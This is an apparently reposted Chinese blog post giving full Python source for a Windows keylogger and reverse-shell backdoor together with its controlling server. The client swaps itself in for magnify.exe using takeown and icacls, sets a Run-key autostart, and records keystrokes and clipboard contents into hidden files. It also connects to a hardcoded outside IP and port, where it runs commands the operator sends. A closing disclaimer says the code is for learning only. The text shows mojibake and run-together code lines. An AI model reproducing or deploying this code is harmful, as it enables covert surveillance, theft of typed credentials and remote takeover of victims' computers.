反弹shell和键盘记录器实现
?
環(huán)境:win10(測試機(jī)),阿里云服務(wù)器(服務(wù)端)
另附:從局域網(wǎng)監(jiān)控到廣域網(wǎng)實(shí)時監(jiān)控的實(shí)現(xiàn)
?
?
反彈shell(reverse shell),就是控制端監(jiān)聽在某 TCP/UDP 端口,被控端發(fā)起請求到該端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端。reverse shell 與 telnet,ssh 等標(biāo)準(zhǔn) shell 對應(yīng),本質(zhì)上是網(wǎng)絡(luò)概念的客戶端與服務(wù)端的角色反轉(zhuǎn)
舉例:假設(shè)我們攻擊了一臺機(jī)器,打開了該機(jī)器的一個端口,攻擊者在自己的機(jī)器去連接目標(biāo)機(jī)器(目標(biāo)ip:目標(biāo)機(jī)器端口),這是比較常規(guī)的形式,我們叫做正向連接。遠(yuǎn)程桌面、web服務(wù)、ssh、telnet等等都是正向連接
windows 一個漏洞:在開機(jī)頁面,沒有輸入密碼登陸電腦之前,可以直接打開放大鏡,可以將放大鏡軟件替換為 cmd.exe 或者其他軟件,就可以實(shí)現(xiàn)即使未登陸電腦,也可以做點(diǎn)其他事
?
?
總體概述:
- 最終將客戶端代碼使用 pyinstaller 打包成一個 exe 文件(比如 python.exe),服務(wù)端代碼則放在云服務(wù)器運(yùn)行
- 先在云端運(yùn)行代碼,監(jiān)控某個端口
- 當(dāng)在 win10 運(yùn)行客戶端軟件時,會先將當(dāng)前目錄的 python.exe 去替換系統(tǒng)的放大鏡軟件(magnify.exe),然后在注冊表注冊綁定已經(jīng)被替換的 magnify.exe ,實(shí)現(xiàn)客戶端軟件開機(jī)自啟動
- 然后開啟鍵盤記錄的功能,能夠記錄鍵盤輸入的數(shù)字字母、一般/特殊符號、特殊按鍵等,還能夠記錄粘貼板上的數(shù)據(jù),鍵盤輸入的數(shù)據(jù)保存在某個文件(比如 sys 無后綴名),并將該文件自動備份、隱藏為不可見保存在本地
- 開始申請連接服務(wù)器端口,連接成功后先進(jìn)入等待模式,和服務(wù)器隨意發(fā)發(fā)消息等待以下,也稱為待機(jī)模式
- 在服務(wù)端進(jìn)行模式切換時(比如設(shè)置成 ctrl+C),服務(wù)端進(jìn)入命令發(fā)送模式,客戶端則進(jìn)入命令接收模式
- 實(shí)現(xiàn)反彈 shell,將客戶端所在電腦的 cmd 發(fā)送至云端,也就是說,在 win 下的 cmd 里能做的事,在云端也就能做了,這就實(shí)現(xiàn)了遠(yuǎn)程控制,區(qū)別在于權(quán)限是否擁有及用戶密碼
- 當(dāng)客戶端掉線或者連接中斷,服務(wù)端會自動切換到等待新連接的方式,而客戶端在下次開機(jī)并聯(lián)網(wǎng)時,就能悄然與服務(wù)器連接了
?
?
關(guān)鍵點(diǎn)如下:
① 軟件第一次需要以管理員身份運(yùn)行(如果當(dāng)前登錄用戶不是最高管理員的話),運(yùn)行后沒有任何提示信息,但是在系統(tǒng)進(jìn)程中可以看到并關(guān)閉,如果不是管理員身份運(yùn)行,則導(dǎo)致下次開機(jī)后軟件不能再自動運(yùn)行了
② 將當(dāng)前目錄的exe復(fù)制替換成系統(tǒng)軟件magnify,同時將原來的magnify備份,將magnify添加進(jìn)注冊表,實(shí)現(xiàn)開機(jī)自啟動
③ 使用多線程實(shí)現(xiàn)鍵盤記錄功能,對于特殊符號及按鍵的檢測,使用 ASCII 進(jìn)行區(qū)分,最終能夠記錄特殊符號,特殊按鍵則是用對應(yīng)的英文名詞記錄,比如 ctrl 鍵是 LConctrol 或 RConctrol ,同時也能夠記錄按鍵是在什么應(yīng)用窗口輸入的
④ 通過 locale 解決了在 python 和 win 下不同編碼方式導(dǎo)致的中文亂碼問題、并解決的socket 發(fā)送的數(shù)據(jù)太多而接受不全的問題
⑤ 使用 subprocess.Popen 來執(zhí)行遠(yuǎn)程控制的指令,能夠返回每次執(zhí)行的結(jié)果
客戶端代碼 python.py
# -*- coding: utf-8 -*-# runas /user:administrator cmd.exe #以管理員方式運(yùn)行 cmd.exe 軟件#下面都是用 import 是因為我用 from import 時生成 exe 報錯,運(yùn)行不了,搞了好久都沒有解決 import socket import os import locale import subprocess import time import struct import win32api import win32con import win32clipboard import PyHook3 import pythoncom import threading# 實(shí)現(xiàn)將 python.exe 替換 magnify.exe,并開機(jī)自啟動 class Copy_Start_File(object):def __init__(self):# 獲取本地編碼方式self.codeWay = locale.getdefaultlocale()[1]# 將 utf8 格式的字符串轉(zhuǎn)為本地編碼格式的字符串def utf8_to_locale(self,str_utf8):str_locale = str_utf8.encode(self.codeWay).decode(self.codeWay)return str_locale# 獲取當(dāng)前目錄路徑def getCurrentDir(self):curDir = self.utf8_to_locale(os.getcwd())return curDir# 設(shè)置開機(jī)自啟動def setAutoStart(self):name = 'oftpublic' path = 'c:\windows\system32\magnify.exe' KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'try:key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, (KeyName), 0, win32con.KEY_ALL_ACCESS)win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)win32api.RegCloseKey(key)result = 'start sucessful'except:result = 'start error'return result# 替換軟件 def autoCopyFile(self):curDir = self.getCurrentDir()tarFile = str(curDir) + '\python.exe'os.chdir('c:/windows/system32'.strip())tempCheck = '1 個文件'tempCheck = self.utf8_to_locale(tempCheck)cmd_list = []cmd_list.append('takeown /f magnify.exe')cmd_list.append('icacls magnify.exe /grant administrators:F')cmd_list.append('ren magnify.exe magnify_back.exe')cmd_list.append('copy %s magnify.exe'%tarFile)PIPE = subprocess.PIPEfor cmd in cmd_list:cmd = self.utf8_to_locale(cmd)comRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)result, m_stderr = comRst.communicate()time.sleep(1)result = result.decode(self.codeWay)if tempCheck in result:start_result = self.setAutoStart()result += start_resultreturn result + 'COPY WORK IS DONE!'return 'COPY NO WORK!'# 鍵盤記錄實(shí)現(xiàn) class Record_Keyboard(object):def __init__(self):self.codeWay = locale.getdefaultlocale()[1]self.column = 0 # 寫入到文件時,做個換行,好看一點(diǎn)self.WindowName = ''dataPathList=['D:\\sys','E:\\sys','F:\\sys','G:\\sys','C:\\sys']self.dataPath = ''utf8_title = ('\n\n\n'+'='*20 + '\n' + self.utf8_to_locale(self.getLocalTime()+' 記錄器運(yùn)行\(zhòng)n')+'='*20+'\n\n\n')# 防止有的電腦沒有某個盤for dataPath in dataPathList:try:with open(dataPath,'a') as f:f.write(self.utf8_to_locale(utf8_title))self.dataPath = dataPathbreakexcept:passif len(self.dataPath) != 0:self.hideDataFile()return Truereturn False# 寫入數(shù)據(jù)def writeData(self,str_utf8):str_locale = self.utf8_to_locale(str_utf8)with open(self.dataPath,'a') as f:f.write(str_locale)self.copyData() # 自動拷貝self.hideDataFile()def copyData(self):try:cmd = 'copy %s c:\\Users\\sys_backup'%self.dataPathcomRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)self.hideDataFile('c:\\Users\\sys_backup')except:pass# 獲取本地時間 def getLocalTime(self):now_time = str(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))return now_timedef utf8_to_locale(self,str_utf8):str_locale = str_utf8.encode(self.codeWay).decode(self.codeWay)return str_localedef hideDataFile(self,dataPath=None):PIPE = subprocess.PIPEtry:if dataPath is None:cmd = 'attrib +H %s'%self.dataPathelse:cmd = cmd = 'attrib +H %s'%dataPathcomRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)except:passdef showDataFile(self):PIPE = subprocess.PIPEtry:cmd = 'attrib -H %s'%self.dataPathcomRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)try:cmd = 'attrib -H c:\\Users\\sys_backup'comRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)except:passexcept:passdef onKeyboardEvent(self,event):if event.Ascii > 32 and event.Ascii <127: #普通數(shù)字字母字符data = chr(event.Ascii) # 將ascii碼轉(zhuǎn)為字符else: #其他特殊按鍵if event.Key == 'V': #如果是 ctrl+Vtry:win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()data = pasted_valueexcept:data = event.Key #特殊按鍵鍵名else:data = event.Keyif self.column == 10:end_symbol = '\n'self.column = 0else:end_symbol = ' ### ' #分隔符self.column += 1with open(self.dataPath,'a') as f:# 防止同一個窗口命名if str(event.WindowName) != self.WindowName:if ('*'+str(self.WindowName)) != str(event.WindowName):self.column = 0self.WindowName = str(event.WindowName)newWinTime = ('\n\n' + self.getLocalTime() + '\n')newWinName = self.WindowName + '\n'self.writeData(newWinTime+newWinName)self.writeData(data+end_symbol)return Truedef startRecord(self): hookmonitor = PyHook3.HookManager()hookmonitor.KeyDown = self.onKeyboardEventhookmonitor.HookKeyboard()pythoncom.PumpMessages()# 連接服務(wù)器 class ConnectServer(Copy_Start_File,Record_Keyboard):def __init__(self,ht,pt):Copy_Start_File.__init__(self) #父類初始化self.keyBoardState = Record_Keyboard.__init__(self)FileState = self.autoCopyFile()self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)while True:try:self.sock.connect((ht,int(pt)))breakexcept Exception as e:passself.sendMessage(FileState) #向服務(wù)器發(fā)送軟件拷貝狀態(tài)def sendMessage(self,strData):strData = strData.encode()lenStrData = len(strData)packet = struct.pack(b'i',lenStrData) # i 代表整形,占4個字節(jié)self.sock.send(packet) #先發(fā)送數(shù)據(jù)的長度self.sock.send(strData) #再發(fā)送數(shù)據(jù)內(nèi)容def recvMessage(self):return self.sock.recv(1024).decode()def getCurrentDir(self):curDir = os.getcwd().encode().decode()return curDirdef changeDir(self,cmd):cmd = self.utf8_to_locale(cmd)os.chdir(cmd[2:].strip())return "切換目錄成功!"def runCmd(self,cmd):PIPE = subprocess.PIPEcomRst = subprocess.Popen(cmd,shell=True,stdout=(PIPE),stderr=PIPE,stdin=PIPE)result, m_stderr = comRst.communicate()result = result.decode(self.codeWay)return resultdef waitCmd(self):while True: # 實(shí)時通信,檢測是否掉線msg = self.recvMessage()if msg == 'online?':self.sendMessage('baby')elif msg == 'Come on baby!':breakwhile True: #等待命令模式self.sendMessage(self.getCurrentDir()) #發(fā)送當(dāng)前目錄名cmd = self.recvMessage() #接收指令try:if cmd == "!q": #退出os._exit(0)elif cmd.startswith("cd"):result = self.changeDir(cmd)self.sendMessage(result)self.hideDataFile()elif cmd == 'null': #不操作passelif cmd == 'show':self.showDataFile()result = '顯示文件!'self.sendMessage(result)elif cmd == 'hide':self.hideDataFile()result = '隱藏文件!'self.sendMessage(result)else:result = self.runCmd(cmd)if not result:result = '操作成功!'self.sendMessage(result)self.hideDataFile()except SystemExit:passexcept ConnectionAbortedError:breakexcept Exception as e: #將命令執(zhí)行的錯誤結(jié)果返回e = self.utf8_to_locale(str(e))self.sendMessage(e)time.sleep(1)self.sock.close()def main():while True:try:client = ConnectServer('39.97.181.14',8888)if client.keyBoardState: #如果鍵盤記錄正確初始化,thread = threading.Thread(target=client.startRecord)thread.start()client.waitCmd()time.sleep(10)except ConnectionResetError:os._exit(0)if __name__ == '__main__':main()?
服務(wù)端 ser.py
# -*- coding: utf-8 -*-from socket import socket,AF_INET,SOCK_STREAM from threading import Lock,Thread from time import sleep from os import system from struct import unpackclass God(object):def __init__(self):self.server = socket(AF_INET,SOCK_STREAM)self.server.bind(('0.0.0.0',8888))self.server.listen(5)self.curClient = Noneself.waitConnect()def waitConnect(self):while True:try:print('Waiting for the connection......')self.curClient, addr = self.server.accept()print('New client %s is connection!' % (addr[0]))print(self.recvMessage())breakexcept Exception as e:print(e)def recvMessage(self):lenStrDta_pack = self.curClient.recv(4)lenStrDta = int(unpack('i', lenStrDta_pack)[0])try:buf = b""temp_buf = bufwhile lenStrDta: #可以接收大容量數(shù)據(jù)temp_buf = self.curClient.recv(lenStrDta)lenStrDta -= len(temp_buf)buf += temp_bufresult = buf.decode()except Exception as e:print('recvMessage: ',e)return resultdef sendMessage(self,strData):self.curClient.send(strData.encode())def shellCtrl(self):print('后臺工作...')while True:try:self.sendMessage('online?')reply = self.recvMessage()if reply:sleep(5)else:print('Client offline')self.waitConnect()except KeyboardInterrupt:print('準(zhǔn)備跳轉(zhuǎn)中...')sleep(2)breakexcept Exception as e:if 'Broken pipe' in str(e):self.waitConnect()print('后臺模式...')self.sendMessage('Come on baby!')while True:try:curDir = self.recvMessage()com = input(str(curDir) + ':~# ')if len(com)==0 or com.endswith("err"):self.sendMessage('null')elif com == 'cls':system('clear')self.sendMessage('null')elif com == '!q':self.sendMessage('!q')print('-----------------------* Connection has ended *--------------------------')exit(0)else:try:self.sendMessage(com)result = self.recvMessage()if result:print(result)except Exception as e:if 'unpack requires' in str(e):self.shellCtrl()except KeyboardInterrupt:self.sendMessage('null')self.shellCtrl()except Exception as e:print(e)self.curClient.shutdown(2)self.curClient.close()def main():remote = God()while True:try:remote.shellCtrl()except KeyboardInterrupt:print('-----------------------* Is out! *--------------------------')exit(0)except Exception as e:exit(0)if __name__ == '__main__':main()?
?
??以上代碼,僅供學(xué)習(xí)參考,請勿用于非法用途,歡迎指正錯誤🤞
?
?
總結(jié)
以上是生活随笔為你收集整理的反弹shell和键盘记录器实现的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 漏洞复现篇——利用XSS漏洞实现键盘记录
- 下一篇: 深入理解黑客攻击-键盘记录器